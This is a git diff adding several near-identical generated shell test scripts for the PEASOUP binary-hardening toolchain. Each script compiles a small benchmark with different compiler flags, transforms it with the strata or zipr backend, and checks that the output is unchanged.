diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..bdfc839f3c05e5d02e8bf814f145aaa87d21475f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="          -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="          -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..89adc1c7669d2b65c0c43d87fdd37ed7027b035e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..c26f003a11f90ce732901da1d8c23cfaaaed18ac
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ddc8bfc65dc780f8fd6d0a793a305dd3574f3388
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0eaf0c99e13d4c73a25eb222af5e2f483be5f876
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..fc834fdc1de78c25178f9ad2ed06dd86f8dcd356
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
